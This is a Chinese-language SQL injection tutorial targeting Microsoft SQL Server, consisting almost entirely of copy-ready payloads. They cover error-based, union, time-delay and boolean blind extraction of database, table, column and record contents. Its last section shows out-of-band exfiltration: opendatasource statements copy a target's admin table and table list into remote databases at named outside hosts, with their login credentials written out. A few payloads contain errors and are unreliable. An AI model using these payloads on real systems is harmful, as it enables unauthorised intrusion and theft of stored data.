MSSQL注入
MSSQL
- Mssql存在
information_schema相关的操作
数据库
sysdatabases【数据库】
master.dbo.sysdatabases【数据库】
- 比较重要的字段:
dbid、name

数据表
sysobjects【系统表】

查询用户的表
select * from sysobjects where xtype='U'

数据字段
syscolumns【系统字段】

查询表的字段
select * from syscolumns where id='用户表对应的ID'

1、数据库查询
select * from sysdatabases;
2、查询数据表
select table_name from information_schema.tables;
select name from sysobjects where xtype='U';
3、查询字段名
select column_name from information_schema.columns;
select name from syscolumns where id='用户表对应的ID'
注入手法
显错注入
判断注入
- 有回显
and 1=1 / and 1=2
- 无回显(是否延时)
and waitfor delay '0:0:10'
判断字段个数
order by n
查看显错点
- MSSQL数据库和mysql数据库不同,联合查询必须是
union all select查询数据是必须加上数据类型,如果不清楚就写null
union all select null,null,null
查询数据表
- sysobjects
- sysobjects中的id字段记录下来,在syscolumns中添加查询条件id=在sysobjects中查询的id结果
union all select null,null,name from sysobjects where xtype='U'
- information_schema.tables
union all select null,null,table_name from information_schema.tables
查询字段
-
syscolumns
- 查询全部字段
union all select id,null,name from sysobjects where xtype = 'U'- 查询对应(ID)表中的字段
union all select null,null,name from syscolumns where id=对应的ID -
information_schema.columns
union all select null,null,column_name from information_schema.columns
查数据
- 很多情况下数据都会有加密,加密需要猜测对应字段的数据类型,很费时,所以需要通过反弹注入(前提是存在堆叠注入)
union all select null,password from admin
布尔盲注
常见的函数
| 函数 | 解释 |
|---|---|
| db_name() | 查询当前数据库 |
| object_id() | 免去查询数据表ID |
| count() | 查询表记录个数 |
| ascii() | 转化为ascii码 |
| left(name,m) | name代表查找的字段,n代表第几个字段 |
| substring(name,m,n) | name代表分割的字符,m代表从哪个位置开始,n代表依次分割几个字符 |
猜数据库
猜个数
?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=1)=1
- 通过
burp对dbid=1的1进行遍历,即可得到数据库个数
猜长度
-
当前数据库长度
?id=1 and (select len(db_name()))=n -
猜其它数据库长度
- 需要用到前面遍历好的
dbid的值,通过len(name)=的值来进行判断
第一个数据库?id=1 and (select count(*) from matter.dbo.sysdatabases and dbid=1 and len(name)=1)=1第二个数据库?id=1 and (select count(*) from matter.dbo.sysdatabases and dbid=2 and len(name)=1)=1 - 需要用到前面遍历好的
猜库名
-
当前数据库名
?id=1 and left(db_name(),1) = 'k' ?id=1 and left(db_name(),2) = 'ka' ```sql ?id=1 and left(db_name(),12) = 'kanwolongxia' -
其他数据库名
- 需要用到前面遍历好的
dbid的值,通过len(name)=的值来进行判断
第一个数据库名?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=1 and ascii(substring(name,1,1))>100)=1 ?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=1 and ascii(substring(name,2,1))>100)=1 ?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=1 and ascii(substring(name,3,1))>100)=1第二个数据库名?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=2 and ascii(substring(name,1,1))>100)=1 ?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=2 and ascii(substring(name,2,1))>100)=1 ?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=2 and ascii(substring(name,3,1))>100)=1 - 需要用到前面遍历好的
猜数据表
猜个数
- 利用
sysobjects
?id=1 and (select count(name) from sysobjects where xtype='U')>1
- 利用
information_schema.tables
?id=1 and (select count(table_name) from information_schema.tables)>1
- 一般情况下用
sysobjects,因为两者查询的结果存在一定的差别
猜长度
- 先通过查询
dbo.sysobjects找到所有的数据表,在通过子查询找出用户创建的数据表,后面加上判断数据表的长度,如果成立则正确 - 想要知道第二个数据表的长度,需要把第一个数据表猜出来,知道第一个数据表,就在子查询中把这个表去掉
name not in ('第一个数据表')
第一个数据表
?id=1 and (select count(*) from sysobjects where name in(select top 1 name from dbo.sysobjects where xtype='U')and len(name)>1)=1
第二个数据表
?id=1 and (select count(*) from sysobjects where name in(select top 1 name from sysobjects where xtype='U' and name not in ('第一个数据表') and len(name)>1))=1
猜表名
第一个数据表
?id=1 and (select count(*) from sysobjects where name in(select top 1 name from dbo.sysobjects where xtype='U')and ascii(substring(name,1,1))>100)=1
?id=1 and (select count(*) from sysobjects where name in(select top 1 name from dbo.sysobjects where xtype='U')and ascii(substring(name,2,1))>100)=1
?id=1 and (select count(*) from sysobjects where name in(select top 1 name from dbo.sysobjects where xtype='U')and ascii(substring(name,3,1))>100)=1
第二个数据表
?id=1 and (select count(*) from sysobjects where name in(select top 1 name from sysobjects where xtype='U' and name not in ('第一个数据表') and ascii(substring(name,1,1))>100)=1
?id=1 and (select count(*) from sysobjects where name in(select top 1 name from sysobjects where xtype='U' and name not in ('第一个数据表') and ascii(substring(name,2,1))>100)=1
?id=1 and (select count(*) from sysobjects where name in(select top 1 name from sysobjects where xtype='U' and name not in ('第一个数据表') and ascii(substring(name,3,1))>100)=1
猜字段
猜个数
- 利用
syscolumns
?id=1 and (select count(name) from syscolumns where id=object_id('第一个数据表'))>1
?id=1 and (select count(name) from syscolumns where id=object_id('第二个数据表'))>1
?id=1 and (select count(name) from syscolumns where id=object_id('第三个数据表'))>1
- 利用
information_schema.columns
?id=1 and (select count(column_name) from information_schema.columns where table_name='第一个数据表')>1
?id=1 and (select count(column_name) from information_schema.columns where table_name='第二个数据表')>1
?id=1 and (select count(column_name) from information_schema.columns where table_name='第三个数据表')>1
猜长度
-
这里查询结果要写
>1因为查询的syscolumns数据表中是很多数据表的集合字段,肯定有重复的,不止1个 -
第一个数据表第一个字段名
?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第一个数据表')) and len(name)=2)>1 -- 123第二个字段名
?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第一个数据表') and name not in ('第一个字段')) and len(name)=2)>1 -- 123 -
第二个数据表第一个字段名
?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第二个数据表') and name not in ('第一个字段')) and len(name)=2)>1 -- 123第二个字段名
?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第二个数据表') and name not in ('第二个字段')) and len(name)=2)>1 -- 123
猜字段名
-
第一个数据表第一个字段名
?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第一个数据表')) and ascii(substring(name,1,1))>100)>1 ?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第一个数据表')) and ascii(substring(name,2,1))>100)>1 ?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第一个数据表')) and ascii(substring(name,3,1))>100)>1第二个字段名
?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第一个数据表') and name not in ('第一个字段')) and ascii(substring(name,1,1))>100)>1 ?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第一个数据表') and name not in ('第一个字段')) and ascii(substring(name,2,1))>100)>1 ?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第一个数据表') and name not in ('第一个字段')) and ascii(substring(name,3,1))>100)>1 -
第二个数据表第一个字段名
?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第二个数据表')) and ascii(substring(name,1,1))>100)>1 ?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第二个数据表')) and ascii(substring(name,2,1))>100)>1 ?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第二个数据表')) and ascii(substring(name,3,1))>100)>1第二个字段名
?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第二个数据表') and name not in ('第一个字段')) and ascii(substring(name,1,1))>100)>1 ?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第二个数据表') and name not in ('第一个字段')) and ascii(substring(name,2,1))>100)>1 ?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第二个数据表') and name not in ('第一个字段')) and ascii(substring(name,3,1))>100)>1
猜数据
猜个数
第一个数据表
?id=1 and (select count(第一个字段) from 第一个数据表)>1
?id=1 and (select count(第二个字段) from 第一个数据表)>1
?id=1 and (select count(第三个字段) from 第一个数据表)>1
第二个数据表
?id=1 and (select count(第一个字段) from 第二个数据表)>1
?id=1 and (select count(第二个字段) from 第二个数据表)>1
?id=1 and (select count(第三个字段) from 第二个数据表)>1
猜长度
第一个数据表
?id=1 and (select count(第一个字段) from 第一个数据表 where len(第一个字段)>1)>1
?id=1 and (select count(第二个字段) from 第一个数据表 where len(第二个字段)>1)>1
?id=1 and (select count(第三个字段) from 第一个数据表 where len(第三个字段)>1)>1
第二个数据表
?id=1 and (select count(第一个字段) from 第二个数据表 where len(第一个字段)>1)>1
?id=1 and (select count(第二个字段) from 第二个数据表 where len(第二个字段)>1)>1
?id=1 and (select count(第三个字段) from 第二个数据表 where len(第三个字段)>1)>1
猜数据
-
第一个数据表第一个字段数据
?id=1 and (select count(*) from 第一个数据表 where 第一个字段 in (select top 1 第一个字段 from 第一个数据表) and ascii(substring(第一个字段,1,1))>1)>1 ?id=1 and (select count(*) from 第一个数据表 where 第一个字段 in (select top 1 第一个字段 from 第一个数据表) and ascii(substring(第一个字段,2,1))>1)>1 ?id=1 and (select count(*) from 第一个数据表 where 第一个字段 in (select top 1 第一个字段 from 第一个数据表) and ascii(substring(第一个字段,3,1))>1)>1第二个字段数据
?id=1 and (select count(*) from 第一个数据表 where 第二个字段 in (select top 1 第二个字段 from 第一个数据表) and ascii(substring(第二个字段,1,1))>1)>1 ?id=1 and (select count(*) from 第一个数据表 where 第二个字段 in (select top 1 第二个字段 from 第一个数据表) and ascii(substring(第二个字段,2,1))>1)>1 ?id=1 and (select count(*) from 第一个数据表 where 第二个字段 in (select top 1 第二个字段 from 第一个数据表) and ascii(substring(第二个字段,3,1))>1)>1 -
第二个数据表第一个字段数据
?id=1 and (select count(*) from 第二个数据表 where 第一个字段 in (select top 1 第一个字段 from 第二个数据表) and ascii(substring(第一个字段,1,1))>1)>1 ?id=1 and (select count(*) from 第二个数据表 where 第一个字段 in (select top 1 第一个字段 from 第二个数据表) and ascii(substring(第一个字段,2,1))>1)>1 ?id=1 and (select count(*) from 第二个数据表 where 第一个字段 in (select top 1 第一个字段 from 第二个数据表) and ascii(substring(第一个字段,3,1))>1)>1第二个字段数据
?id=1 and (select count(*) from 第二个数据表 where 第二个字段 in (select top 1 第二个字段 from 第二个数据表) and ascii(substring(第二个字段,1,1))>1)>1 ?id=1 and (select count(*) from 第二个数据表 where 第二个字段 in (select top 1 第二个字段 from 第二个数据表) and ascii(substring(第二个字段,2,1))>1)>1 ?id=1 and (select count(*) from 第二个数据表 where 第二个字段 in (select top 1 第二个字段 from 第二个数据表) and ascii(substring(第二个字段,3,1))>1)>1
反弹注入
- 让被攻击者的数据库查询的数据插入到攻击者的数据库中
前提条件
-
需要什么?
- 公网IP
- 服务器,数据库
-
反弹注入会暴露自己的公网IP
- 需要其他网上虚拟空间搭建数据库
-
必须得配合堆叠注入
- 分号后面的数据库语句还可以执行
select * from admin;select * from password;
使用场景
无法闭合、延时注入、盲注、报错注入都失效,用到反弹注入,需要
opendatasource函数
注入格式
insert into opendatasource('连接的组件', 'server=连接地址, 端口;uid=账号;pwd=密码;database=数据库的名字').数据库.dbo.表 select * from 查询的表
知道表内字段数
- 直接远程创建一个和想要查询的数据表相同字段的数据表
insert into opendatasource('sqloledb','server=den1.mssql7.gear.host,1433;uid=assdawqwe;pwd=Se7b77t0-!zP;database=assdawqwe').assdawqwe.dbo.mms select * from admin
不知道表内字段数
-
通过联合查询进行查看字段数个数
- 有回显的情况下
union all select count(name),null,null from syscolumns where id='对应数据表的ID'- 无回显的情况下
union all select count(name),null,null from syscolumns where id='对应数据表的ID'
insert into opendatasource('sqloledb','server=den1.mssql7.gear.host,1433;uid=assdawqwe;pwd=Se7b77t0-!zP;database=assdawqwe').assdawqwe.dbo.mms1 select name from sysobjects where xtype='U'
insert into opendatasource('sqloledb', 'server=sql5109.site4now.net,1433;uid=db_a7e8ec_abc_admin;pwd=asdfghjkl12#;database=db_a7e8ec_abc').db_a7e8ec_abc.dbo.a select table_name from sysobjects where xtype='u' --123

浙公网安备 33010602011771号